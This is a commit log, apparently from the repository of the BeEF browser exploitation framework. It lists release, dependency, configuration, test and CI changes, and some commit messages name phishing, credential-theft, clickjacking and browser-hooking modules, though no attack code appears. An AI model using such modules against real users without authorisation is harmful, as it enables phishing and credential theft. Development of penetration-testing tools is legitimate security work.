Compare commits

...

678 Commits

Author SHA1 Message Date
wheatley
694df4c17b Updated config.yaml to remove "" form public 2021-09-12 22:15:41 +10:00
wheatley
b0e59d2c55 Release 0.5.2.0 (#2167)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: wheatley <wheatand@gmail.com>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:57:18 +10:00
wheatley
b6425e4a90 Release 0.5.2.0 (#2166)
* fixed offline zombie not deleting

* Bump jsdoc-to-markdown from 6.0.1 to 7.0.1 (#2161)

Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 6.0.1 to 7.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v6.0.1...v7.0.1)

---
updated-dependencies:
- dependency-name: jsdoc-to-markdown
  dependency-type: direct:development
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

* Bug: Core - 1785 Fixed public hook url configuration settings (#2163)

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* added spec file for testing changes

* added local host getter to configuration class

* added default value 0.0.0.0 for local host if it's not set

* added port config getter with default

* added port config getter with default

* fixed spelling errors for port

* added public configuration values and validation

* removed logic from public port as it was not required

* added beef host to configuration class

* added beef port to configuration class and removed default http.port logic from public_port

* fixed rubocop errors and refactored spec tests

* added beef host configuration values used for external resources

* added beef url to configuration

* created command spec file

* add before statement to load all enabled modules to test command class

* add spec to check if configuration instance exists by setting and accessing a config variable

* updated http proto for beef host

* reverting changes on this file, dev values set

* removed some unessessary checks

* fixed grammar test now we're only testing one configuration attribute

* added hook url for contextual usage

* refactoring admin_ui with new code usage

* fixed issue with the location of the beef.http.https.public_enabled

* refactored powershell module and extension

* adding the new config setting for public https beign enabled

* refactor qrcode extension

* replace video fake plugin refactor

* social engineering refactoring

* phonegap module refactoring

* exploit refactoing

* network module refactoing

* ipec module refactoring

* host module refactoring

* debug refactoring

* browser refactoring

* social engineering extension refactoring

* core main server refactoring

* core main console banner refactoring

* removing dev test

* fixed area with location of http.https.enabled

* changed the hook url definition to return the hook file path

* updated banners to use new configuration getters

* updated extensions and modules with the hook url change

* added new public.host configuration settings and validations for depicated usage of public

* updated to use public.port configuration

* added validation for old configuration public_port

* updated to use public https configuration setting

* updated config with new settings format

* fixed get to point to new locations

* fixed pointer to hook_file_path

* Update extensions/social_engineering/web_cloner/web_cloner.rb

Co-authored-by: bcoles <bcoles@gmail.com>

* updated enabled to enable

* making sure default configuration file does not have preset values

Co-authored-by: bcoles <bcoles@gmail.com>

* bumped versions to 0.5.2.0

* Usability: #2145. Added user input request for beef update within 'beef' install script (#2162)

* added user input request for beef update

* swaped git pull from system to backticks

* flags added for auto update and timout to input

* updated install.txt to reference the update-beef script (#2160)

Co-authored-by: Andrew Wheatley <a@andrews-mini.home>
Co-authored-by: Isaac Powell <36595182+DeezyE@users.noreply.github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: bcoles <bcoles@gmail.com>
2021-09-12 21:33:02 +10:00
wheatley
c96b5e8968 Update ISSUE_TEMPLATE.md
bumped version
2021-09-12 17:50:24 +10:00
dependabot[bot]
27e58a714d Update rubocop requirement from ~> 0.92.0 to ~> 1.20.0 (#2154)
Updates the requirements on [rubocop](https://github.com/rubocop/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop/rubocop/releases)
- [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop/rubocop/compare/v0.92.0...v1.20.0)

---
updated-dependencies:
- dependency-name: rubocop
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2021-09-04 20:07:06 +10:00
wheatley
16e14c6f2e Release 0.5.1.0 (#2156)
* updated version to 5.0.1.0 in package.json

* updated version to 5.0.1.0 in VERSION

* updated version to 5.0.1.0 in config.yml

* removed Active Record section

* cleanup bundle related folders and added to .gitignore

* bumped tag url in ISSUETEMPLATE

* updating version to 0.5.1.0

* readding .bundle/config as we do not want users to automatically install dev/test gems

* fixed spelling mistake of .bundle
2021-09-04 14:56:47 +10:00
wheatley
9f7dcdf250 Testing: Fixed error running social_engerring_spec 2021-08-24 19:15:38 +10:00
jcrew99
15af383355 Merge pull request #2134 from beefproject/otr-activerecord-update
OTR-ActiveRecord update: added to manually call the database connection
2021-07-20 01:49:58 +10:00
jcrew99
b4dae0f58b Updating Gemfile lock as suggested 2021-07-20 01:43:34 +10:00
jcrew99
588e32966a changed from 2.0 to 1.4.2 2021-07-18 13:36:28 +10:00
jcrew99
6d882b5016 removed the lock on the activerecord gem 2021-07-18 13:12:13 +10:00
jcrew99
d959956271 added a check for the version added 2021-07-18 13:05:15 +10:00
bcoles
702dfbd878 Merge pull request #2127 from wheatley/defect/2010_could_not_find_table_webcloners
Rename the WebCloner model class to align with ActiveRecord syntax
2021-07-13 21:49:13 +10:00
whealtey
681511358e moveid the clean up the related method instead of after all tests 2021-07-11 09:14:37 +00:00
whealtey
739b168602 specified the generated web pages for google to be removed 2021-07-11 09:02:56 +00:00
whealtey
0f7567cc4b left byebug in file 2021-07-11 08:37:35 +00:00
whealtey
5d0a499a12 renamed the WebCloner model class to align with ActiveRecord syntax
changed WebCloner name changes in web_cloner.rb
created two tests to support changeswq
2021-07-11 08:18:14 +00:00
bcoles
b58978870d Merge pull request #2123 from 1124219777/master
Fix Firefox detection

Since Firefox 89 the `navigator.mozGetUserMedia()` function is only defined on HTTPS websites.
2021-07-03 20:36:58 +10:00
郭瑞
4bede1bc01 fix FireFix 89.02 mozGetUserMedia == undefined
fix
2021-07-03 18:08:18 +08:00
bcoles
663d8e7489 Merge pull request #2090 from beefproject/dependabot/add-v2-config-file
Upgrade to GitHub-native Dependabot
2021-06-26 01:34:56 +10:00
bcoles
4140300906 Merge pull request #2099 from bcoles/adminui-bookmarklet
AdminUI: Use correct hook file path for bookmarlet hook URL
2021-05-09 00:06:56 +10:00
Brendan Coles
5a65f1610e AdminUI: Use correct hook file path for bookmarlet hook URL 2021-05-08 14:06:25 +00:00
bcoles
fc6ae645d9 Merge pull request #2094 from bcoles/bundle-otr-activerecord
bundle: Lock otr-activerecord to version '~> 1.4.1'
2021-05-08 19:57:00 +10:00
Brendan Coles
42d9e431b7 bundle: Lock otr-activerecord to version '~> 1.4.1' 2021-05-08 09:56:20 +00:00
dependabot-preview[bot]
6638e2e234 Upgrade to GitHub-native Dependabot 2021-04-29 20:59:37 +00:00
bcoles
6adad0911b ISSUE_TEMPLATE: Fix Typo 2021-04-25 10:15:48 +10:00
plan-do-break-fix
f754ee6beb fix(docs): corrects typo in project's ISSUE_TEMPLATE 2021-04-24 18:02:18 -05:00
bcoles
c23a93a84e BeEF Bind payloads: Updates Kali install instructions 2021-04-19 04:23:57 +10:00
Chessmaster
ef8819d78c Update instructions.txt for recent kali linux 2021-04-18 20:16:30 +02:00
bcoles
8acc31f784 Install: Add support for blackPantherOS 2021-04-16 02:02:24 +10:00
blackPanther OS
b8a9eecaf4 Extend distro suppport
Added blackPanther OS specific install strings and requires for use
2021-04-15 10:43:04 +02:00
bcoles
90798571d5 Merge pull request #2056 from P-arag/master
Gmail Phishing: Change redirect URL to https://accounts.google.com/

Update post-login redirection URL from https://accounts.google.com/ServiceLogin to
https://accounts.google.com/
2021-02-11 17:55:55 +11:00
Parag Jyoti Pal
2d19294540 Fixed Gmail Phishing by updating https://accounts.google.com/ServiceLogin to https://accounts.google.com/ 2021-02-11 12:10:49 +05:30
bcoles
845b2db255 Merge pull request #2051 from bcoles/rubocop-extensions-metasploit
rubocop -a extensions/metasploit
2021-01-26 19:22:10 +11:00
Brendan Coles
a26653719c rubocop -a extensions/metasploit 2021-01-26 08:21:36 +00:00
bcoles
6493df8502 Merge pull request #2049 from bcoles/ruby-version
Bump Ruby version from 2.5.3 to 2.7.2
2021-01-26 19:20:23 +11:00
bcoles
b1f9bae470 Merge pull request #2050 from bcoles/rubocop
Rubocop: Bump Ruby version to 2.6 and define new cops
2021-01-26 18:49:21 +11:00
Brendan Coles
b4d549fe48 Rubocop: Bump Ruby version to 2.6 and define new cops 2021-01-26 07:48:13 +00:00
Brendan Coles
f1203ebd68 Bump Ruby version from 2.5.3 to 2.7.2 2021-01-26 07:44:19 +00:00
bcoles
5df9a7f17e Merge pull request #2048 from bcoles/gemfile-nokogiri
Gemfile: Bump nokogiri version from >= 1.10.8 to >= 1.11.1
2021-01-26 18:24:30 +11:00
Brendan Coles
e447f1ba2d Gemfile: Bump nokogiri version from >= 1.10.8 to >= 1.11.1 2021-01-26 07:23:50 +00:00
bcoles
25172353d0 Merge pull request #1971 from justinsteven/pass_query_string_through_proxy
Include URI query string in proxied requests
2021-01-26 18:11:36 +11:00
bcoles
f8e41a939f Merge pull request #2046 from raskoln1kov/patch-1
Update clickjack_attack.html: Fix malformed CSS syntax
2021-01-26 17:49:22 +11:00
raskoln1kov
f27eda4021 Update clickjack_attack.html 2021-01-18 16:39:35 +01:00
jcrew99
8ee08bdbda Merge pull request #2042 from beefproject/copyright_update
updated all of the copyright information
2021-01-11 04:56:00 +10:00
J
4ec6ecee27 updated all of the copyright information 2021-01-11 04:48:56 +10:00
jcrew99
49478370d8 Merge pull request #1973 from beefproject/excluded_hooking_subnet
Excluded hooking subnet
2020-10-25 20:20:30 +10:00
bcoles
f1f5198ba1 Merge pull request #1993 from beefproject/dependabot/bundler/rubocop-tw-0.92.0
Update rubocop requirement from ~> 0.88.0 to ~> 0.92.0
2020-09-29 08:10:00 +10:00
dependabot-preview[bot]
dd0c8aa850 Update rubocop requirement from ~> 0.88.0 to ~> 0.92.0
Updates the requirements on [rubocop](https://github.com/rubocop-hq/rubocop) to permit the latest version.
- [Release notes](https://github.com/rubocop-hq/rubocop/releases)
- [Changelog](https://github.com/rubocop-hq/rubocop/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rubocop-hq/rubocop/compare/v0.88.0...v0.92.0)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-09-28 06:09:46 +00:00
jcrew99
9ddd694842 Merge pull request #1986 from beefproject/rubocop_mergev0.0.1
Rubocop mergev0.0.1
2020-09-14 18:54:26 +10:00
jcrew99
a7c4b3215a Merge pull request #1984 from beefproject/internal_error_when_creating_XSSrays
First fix for the XSSRays
2020-09-14 18:54:05 +10:00
Josh
360d6bb345 Merge branch 'internal_error_when_creating_XSSrays' of https://github.com/beefproject/beef into internal_error_when_creating_XSSrays
lets update
2020-09-14 00:55:26 -07:00
Jish
dd6c8283cd updated rubocop changes 2020-08-03 08:23:05 -04:00
Jish
a5603eafde added to gemfile 2020-08-03 07:24:30 -04:00
Jish
38b0e44115 added a .first section 2020-08-03 00:41:19 -04:00
jcrew99
8876f69ba6 Merge pull request #1975 from klezVirus/master
Fix country_code is null
2020-08-03 13:33:32 +10:00
bcoles
36bd907f99 Merge pull request #1982 from sopsmattw/patch-1
iFrame Sniffer module: Update config.yaml reference URL
2020-08-01 03:40:19 +10:00
Matt Wagenknecht
72870deea6 Update config.yaml
updated URL from contextis.co.uk to contextis.com.
2020-07-31 11:31:50 -06:00
jcrew99
fc9b11e658 Merge pull request #1977 from beefproject/updated_contributing
Updated contributing
2020-07-27 23:06:58 +10:00
Josh
fbafdae50a fixed and responded to comments 2020-07-26 22:16:00 -07:00
Josh
b9c5ee73fb Merge branch 'updated_contributing' of https://github.com/beefproject/beef 2020-07-26 21:13:11 -07:00
jcrew99
1aa8a6aec6 Merge branch 'master' into updated_contributing 2020-07-25 23:29:30 +10:00
Joshua
381cbec8a9 updated contributing to further match how to merge 2020-07-25 23:19:45 +10:00
josh
9a8108e0f5 updated contribution 2020-07-25 22:21:38 +10:00
d3adc0de
3a0178bedc Fix country_code is null 2020-07-23 22:13:20 +01:00
josh
064fb5fdb2 Merge branch 'updated_contributing' of https://github.com/beefproject/beef into updated_contributing
matching
2020-07-24 01:57:18 +10:00
Jack Walker
09bcb5b704 Updated variable naming for clarity of functional use 2020-07-21 12:03:36 +10:00
Jack Walker
dbd20a742e Added icamys changes, inverting the logic for the found variable. 2020-07-21 11:22:47 +10:00
Jack Walker
0c07a5f853 Merge pull request #1962 from beefproject/fix_broken_network_extension
Fix #1852 - Re-patch of reverted Network Map/Hosts/Services fix
2020-07-21 11:02:53 +10:00
Jack Walker
967bcf4069 Merge pull request #1961 from beefproject/bcoles-patch-1
Update dependencies
2020-07-21 11:01:24 +10:00
Justin Steven
75bd2f8fb3 Include URI query string in proxied requests 2020-07-16 15:50:41 +10:00
Josh
9a7a36a3ce Merge branch 'updated_contributing' of https://github.com/beefproject/beef 2020-07-15 21:32:36 -07:00
bcoles
f3313fde8a core/main/client/browser.js: Fix array unique function (#1966) 2020-07-10 14:29:13 +10:00
jcrew99
7fa269ff81 Merge pull request #1957 from beefproject/are_new_execution_error
ARE New Zombie Execution Error
2020-07-09 10:26:59 +10:00
jcrew99
b0c0e6e2ba Merge pull request #1956 from beefproject/pretty_theft_empty_credentials_error
Pretty Theft Missing Credentials JS Error
2020-07-09 10:24:48 +10:00
bcoles
b8528e5df5 Update dependencies 2020-07-08 20:35:06 +10:00
Jack Walker
7169d84b88 Merge pull request #1934 from beefproject/update_issue_template
Update Issue/PR templates
2020-07-08 16:17:50 +10:00
jcrew99
36263fa3a5 Merge pull request #1958 from beefproject/replace_array_prototype_unique
Replaced Array.prototype.unique with a cleaner jQuery equivalent
2020-07-07 22:13:24 +10:00
Jack Walker
dd3b635a48 Re-commiting h4sh5's reverted changes. 2020-07-07 14:47:05 +10:00
Jack Walker
edda0188d5 Removed typo (trailing a) missed in last commit 2020-07-06 16:46:58 +10:00
Jack Walker
4fc300ff87 Replaced Array.prototype.unique with a cleaner jQuery equivalent 2020-07-06 16:24:09 +10:00
Jack Walker
8e0a1b6b87 Removed rule left in ARE enabled directory 2020-07-06 14:40:01 +10:00
Jack Walker
9696b05aba Fixed error causing some ARE rules to not run. 2020-07-06 14:39:04 +10:00
Jack Walker
a8606697e0 Reset creds 2020-07-06 12:44:43 +10:00
Jack Walker
a92d4d910c Fixed getElementById method being called on incorrect object causing looping failure. 2020-07-06 12:44:19 +10:00
Jack Walker
c8dc77bea8 Removed some redundant text at the bottom of the issue template discussing debugging. 2020-07-06 12:02:28 +10:00
Jack Walker
09cc1ee50d Forgot to save -.- Re-commit of last commit. 2020-07-06 11:53:35 +10:00
Jack Walker
46ef842bcf Added additional steps to retrieve debugging output as per BColes advice 2020-07-06 11:51:46 +10:00
jcrew99
9458bd8fc6 Merge pull request #1940 from beefproject/issue-1911_ruby_version_check
sudo for gem install, ruby package manager check
2020-07-05 18:19:53 +10:00
Joshua
3b82ba16dd updated contributing to further match how to merge 2020-07-02 13:33:18 +10:00
isaac powell
bf1be0fc16 sudo for gem install, ruby package manager check 2020-06-08 21:58:49 -04:00
Jack Walker
9d3206b226 Merge pull request #1933 from beefproject/dependabot/npm_and_yarn/jsdoc-to-markdown-6.0.1
Bump jsdoc-to-markdown from 5.0.3 to 6.0.1
2020-06-04 08:57:01 +10:00
Jack Walker
c86bde43d6 Updated PR template 2020-06-01 21:23:52 +10:00
Jack Walker
58e690d304 Updated issue template 2020-06-01 21:04:35 +10:00
Jack Walker
bc77749236 Removed leftover local.log file from last PR. Shouldn't appear again (in .gitignore). 2020-06-01 20:43:43 +10:00
Jack Walker
0857a95a7e Updated README to align with jsdoc version bump compatibility requirements. 2020-06-01 20:40:06 +10:00
dependabot-preview[bot]
a2c354bb3d Bump jsdoc-to-markdown from 5.0.3 to 6.0.1
Bumps [jsdoc-to-markdown](https://github.com/jsdoc2md/jsdoc-to-markdown) from 5.0.3 to 6.0.1.
- [Release notes](https://github.com/jsdoc2md/jsdoc-to-markdown/releases)
- [Commits](https://github.com/jsdoc2md/jsdoc-to-markdown/compare/v5.0.3...v6.0.1)

Signed-off-by: dependabot-preview[bot] <support@dependabot.com>
2020-06-01 07:35:47 +00:00
Jack Walker
0c768ec54b Merge pull request #1920 from beefproject/browserstack
BrowserStack Integration
2020-06-01 09:25:31 +10:00
Jack Walker
753bc36218 Added BrowserStacks log to .gitignore, and re-enabled Wade's email notifications. 2020-05-29 20:31:42 +10:00
Jack Walker
a5e865f75f Removed conditional preventing valid test failures. 2020-05-29 12:09:50 +10:00
Jack Walker
ef5ecf3a5b Parsing browser details blob. 2020-05-28 04:05:45 +10:00
Jack Walker
796b3ada20 debugging 2020-05-28 03:56:34 +10:00
Jack Walker
7c7c56152d Small adjustment to hopefully fix the incorrect data being pulled from the hooked browser info. 2020-05-28 03:41:19 +10:00
Jack Walker
a8115f1635 Debugging 2020-05-28 03:31:25 +10:00
Jack Walker
00f20fd0f0 Potential fix for erroring browser details handler. 2020-05-28 03:24:05 +10:00
Jack Walker
3c97f0302e debugging 2020-05-28 03:15:10 +10:00
Jack Walker
7ae51d2593 Additional debugging 2020-05-28 03:01:03 +10:00
Jack Walker
5d82ddbe74 Added debugging to browser details handler testing. 2020-05-28 02:50:02 +10:00
Jack Walker
dc838ae77c Changed method of retrieving browser details. Hopeful fix. 2020-05-28 02:33:17 +10:00
Jack Walker
4a3deb5b4b Checking if another auth method helps solve browser details issue. 2020-05-28 02:04:23 +10:00
Jack Walker
f33dc7aec0 Forced session identification to be performed client side. Server-side response too flakey atm. Cleaned up code. 2020-05-27 20:07:07 +10:00
Jack Walker
f7e46c5994 Forced session identification to be performed client side. Server-side response too flakey atm. Cleaned up code. 2020-05-27 20:02:05 +10:00
Jack Walker
053c98cc60 Added the stack trace to exception handling for easier debugging. 2020-05-27 19:58:43 +10:00
Jack Walker
fa406ed071 Tightened up some of the test cases. 2020-05-27 19:03:13 +10:00
Jack Walker
e1430f5e43 Tightened up some of the test cases. 2020-05-27 19:01:54 +10:00
Jack Walker
af6db74058 Final exception fix. This should be the last change needed.. said every dev ever. 2020-05-27 18:51:27 +10:00
Jack Walker
dbb6cb1332 Missing key on hook variable assignment 2020-05-27 18:41:23 +10:00
Jack Walker
18e76512de Added some additional session handling code in the server setup. 2020-05-27 17:41:20 +10:00
Jack Walker
e94ac0169f Fixed incorrect variable referencing 2020-05-27 17:17:41 +10:00
Jack Walker
93df6694b8 Changed error handling to account for any false fails. Should now only fail if tests truly does not meet it's intended requirements. 2020-05-27 17:06:09 +10:00
Jack Walker
bf0e20991d Changed error handling to account for any false fails. Should now only fail if tests truly does not meet it's intended requirements. 2020-05-27 17:05:42 +10:00
jcrew99
fe2dd0ac01 Merge pull request #1929 from beefproject/bcoles-patch-1
Update README.md
2020-05-25 11:07:54 +10:00
bcoles
3a713ffd76 Update README.md 2020-05-21 06:10:23 +10:00
Jack Walker
69998ee176 Missing wait definition specifically in websocket_hooked_browser_spec.rb 2020-05-18 17:03:58 +10:00
Jack Walker
d43e0bafb4 Missing closing paren from last commit. 2020-05-18 16:11:47 +10:00
Jack Walker
443e8df251 Added error handling for initial failed connection/timeout to BrowserStack 2020-05-18 14:57:26 +10:00
Jack Walker
d51c6ae93e Added error handling for initial failed connection/timeout to BrowserStack 2020-05-18 14:52:11 +10:00
Jack Walker
a82e5209be Flipped localhost/127.0.0.1 in ATTACK/VICTIM_DOMAIN test constants. Supposed fix for testing issue. 2020-05-18 14:42:33 +10:00
Jack Walker
a85f0d78d0 Reversed logic gate for incorrectly handled exception. 2020-05-15 13:09:09 +10:00
Jack Walker
0375acd7f8 Fixed BrowserStack timeout error handling. 2020-05-15 11:41:13 +10:00
Jack Walker
45f6595bda Fixed BrowserStack timeout error handling. 2020-05-15 11:26:30 +10:00
Jack Walker
0c429a8d43 Forced latest Selenium version in El Capitan + Catalina Safari tests. Noticed error using older versions. 2020-05-15 10:52:30 +10:00
Jack Walker
31a19692f8 Moved TIMEOUT error handling to teardown. 2020-05-15 09:03:26 +10:00
Jess Williams
81cd4e7533 Update CONTRIBUTING.md 2020-05-12 20:07:53 +10:00
Jack Walker
8b8e19f216 Added more descriptive exception CLI output for BrowserStack tests. 2020-05-12 17:11:37 +10:00
Jack Walker
878e235e0b Broadened timeout exception handling. 2020-05-12 09:52:12 +10:00
Jack Walker
92f3bdba2b Added additionally error handling to BrowserStack test cases 2020-05-12 08:59:28 +10:00
Jack Walker
e9b31e4d6c Added error handling in the event hooked browser information also cannot be found during the test itself, rather than just in setup. 2020-05-08 15:20:46 +10:00
Jack Walker
9849bab134 Added error handling in the event hooked browser information also cannot be found during the test itself, rather than just in setup. 2020-05-08 15:01:28 +10:00
Jack Walker
0f14e4d3b7 Generated secure BrowserStack user + access key for beefproject/beef repo. Cleaned up some code. 2020-05-08 10:28:49 +10:00
Jack Walker
e449537ad8 Merged Josh's fix for the websocket hook test. 2020-05-06 17:29:16 +10:00
Jack Walker
8488bc3866 Removed explicit Selenium driver versions. Causing multiple testing errors. 2020-05-06 13:15:02 +10:00
Jack Walker
6480127929 Explicitly added Selenium driver version 2020-05-06 12:54:55 +10:00
Jack Walker
ece8151ece Re-enabling full test suite. 2020-04-30 15:16:52 +10:00
Jack Walker
3e6b75882e Added error handling to try/catch block. 2020-04-30 12:07:10 +10:00
Jack Walker
66868e748d Added error handling to try/catch block. 2020-04-30 11:16:07 +10:00
Jack Walker
8e1edf5cea Added error handling to try/catch block. 2020-04-30 11:02:22 +10:00
Jack Walker
5555d32367 Added error handling to try/catch block. 2020-04-30 10:46:29 +10:00
Jack Walker
5f8bf6b14a Added error handling to try/catch block. 2020-04-30 10:38:50 +10:00
Jack Walker
3f47d2f838 Added additional logic to handle inconsistencies in test results 2020-04-30 10:00:42 +10:00
Jack Walker
8ff669c9fc Added additional logic to handle inconsistencies in test results 2020-04-30 09:50:13 +10:00
Jack Walker
b397c2f5d5 Added additional logic to handle inconsistencies in test results 2020-04-30 09:44:22 +10:00
Jack Walker
dc80537693 Added additional logic to handle inconsistencies in test results 2020-04-30 09:42:55 +10:00
Jack Walker
334cbf895f Added more handling to allow browser room to be hooked comfortably 2020-04-29 16:06:12 +10:00
Jack Walker
bb2879afcd Added more handling to allow browser room to be hooked comfortably 2020-04-29 16:04:16 +10:00
jcrew99
887f550d90 Update browser_details_handler_spec.rb 2020-04-29 15:46:31 +10:00
jcrew99
f4370bcf6f Update browser_details_handler_spec.rb 2020-04-29 15:45:38 +10:00
Jack Walker
4a7f338527 Added more handling to allow browser room to be hooked comfortably 2020-04-29 15:17:23 +10:00
Jack Walker
dd2fad3d14 Added more handling to allow browser room to hook comfortably 2020-04-29 14:47:00 +10:00
Jack Walker
43dd0a2562 Reverted back to taking token directly, auth was causing issues.: 2020-04-29 14:06:05 +10:00
Jack Walker
192c666fc8 Reverted to previous method of auth rather than just pulling API token directly when generated by BeEF. 2020-04-29 13:56:46 +10:00
Jack Walker
bf0f22a1fe Handling for last commit's issue successful. Testing against full suite. 2020-04-29 13:38:19 +10:00
Jack Walker
59c34d5697 Adding some handling for potential issue in BeEF recognising hooks 2020-04-29 13:26:20 +10:00
Jack Walker
7decd7a53d Adding some handling for potential issue in BeEF recognising hooks 2020-04-29 13:20:15 +10:00
Jack Walker
423ae6bf41 Testing new client side wait to increase hook consistency in test. 2020-04-29 13:09:29 +10:00
Jack Walker
70a9db28be Testing new client side wait to increase hook consistency in test. 2020-04-29 13:05:25 +10:00
Jack Walker
daef8b0a22 Testing new client side wait to increase hook consistency in test. 2020-04-29 12:58:26 +10:00
Jack Walker
ca1df10953 Testing new client side wait to increase hook consistency in test. 2020-04-29 12:50:12 +10:00
Jack Walker
0b4428951c Testing new client side wait to increase hook consistency in test. 2020-04-29 11:45:19 +10:00
Jack Walker
822bd61426 Testing new client side wait to increase hook consistency in test. 2020-04-29 11:14:28 +10:00
Jack Walker
4726647d2f Testing new client side wait to increase hook consistency in test. 2020-04-29 11:08:28 +10:00
Jack Walker
e9a012c04b Testing new client side wait to increase hook consistency in test. 2020-04-29 11:02:49 +10:00
Jack Walker
bf085bd562 Testing new client side wait to increase hook consistency in test. 2020-04-29 10:49:03 +10:00
Jack Walker
9a4ad1ebb9 Testing new client side wait to increase hook consistency in test. 2020-04-28 17:15:18 +10:00
Jack Walker
ce29f9dec8 Testing new client side wait to increase hook consistency in test. 2020-04-28 17:08:23 +10:00
Jack Walker
6b1290b26e Testing new client side wait to increase hook consistency in test. 2020-04-28 17:03:45 +10:00
Jack Walker
d0c0763815 Testing new client side wait to increase hook consistency in test. 2020-04-28 16:57:44 +10:00
Jack Walker
f0ad6795b2 Testing new client side wait to increase hook consistency in test. 2020-04-28 16:31:44 +10:00
Josh
944e4e1372 removed a debugging peice 2020-04-27 23:00:59 -07:00
Jack Walker
b5c7cd39b5 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:52:51 +10:00
Josh
afdbe70e56 fixed left-over debugging 2020-04-27 22:51:50 -07:00
Josh
2ffbe6699d updated travis for the whole stack 2020-04-27 22:47:20 -07:00
Jack Walker
ea461c32d5 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:46:22 +10:00
Josh
00ee6df79e should work 2020-04-27 22:42:41 -07:00
Jack Walker
44aadbc6d9 Testing new client side wait to increase hook consistency in test. 2020-04-28 15:36:19 +10:00
Josh
3a46868386 this should break 2020-04-27 22:29:06 -07:00
Josh
993b288c47 updated websocket 2020-04-27 22:18:34 -07:00
Jack Walker
ac4412e1cb Testing new client side wait to increase hook consistency in test. 2020-04-28 14:56:58 +10:00
Josh
cbae450b10 checking to see if it passes with websockets diabl 2020-04-27 21:56:43 -07:00
Josh
696e6b7633 update test reference 2020-04-27 21:36:40 -07:00
Josh
1ec3546532 updated changes 2020-04-27 21:23:29 -07:00
Josh
23b53d3276 see if there is output? 2020-04-27 21:11:44 -07:00
Josh
25e139d379 browser details 2020-04-27 21:04:09 -07:00
Josh
1386e3e1c3 change debug method 2020-04-27 20:51:29 -07:00
Josh
630270b6c3 updated debug 2020-04-27 20:43:08 -07:00
Jack Walker
d3db1d5407 Small bump up to hook time to get more consistent test results. 2020-04-28 12:40:59 +10:00
Josh
0d196aa1ea updated debugging information 2020-04-27 18:52:13 -07:00
Josh
ef7663904a moved more to the before :all 2020-04-27 18:40:43 -07:00
Josh
fbe3d3555e websocket stop killing @driver 2020-04-27 18:23:31 -07:00
Josh
f17e631dd5 removed the delete_all 2020-04-27 18:07:08 -07:00
Josh
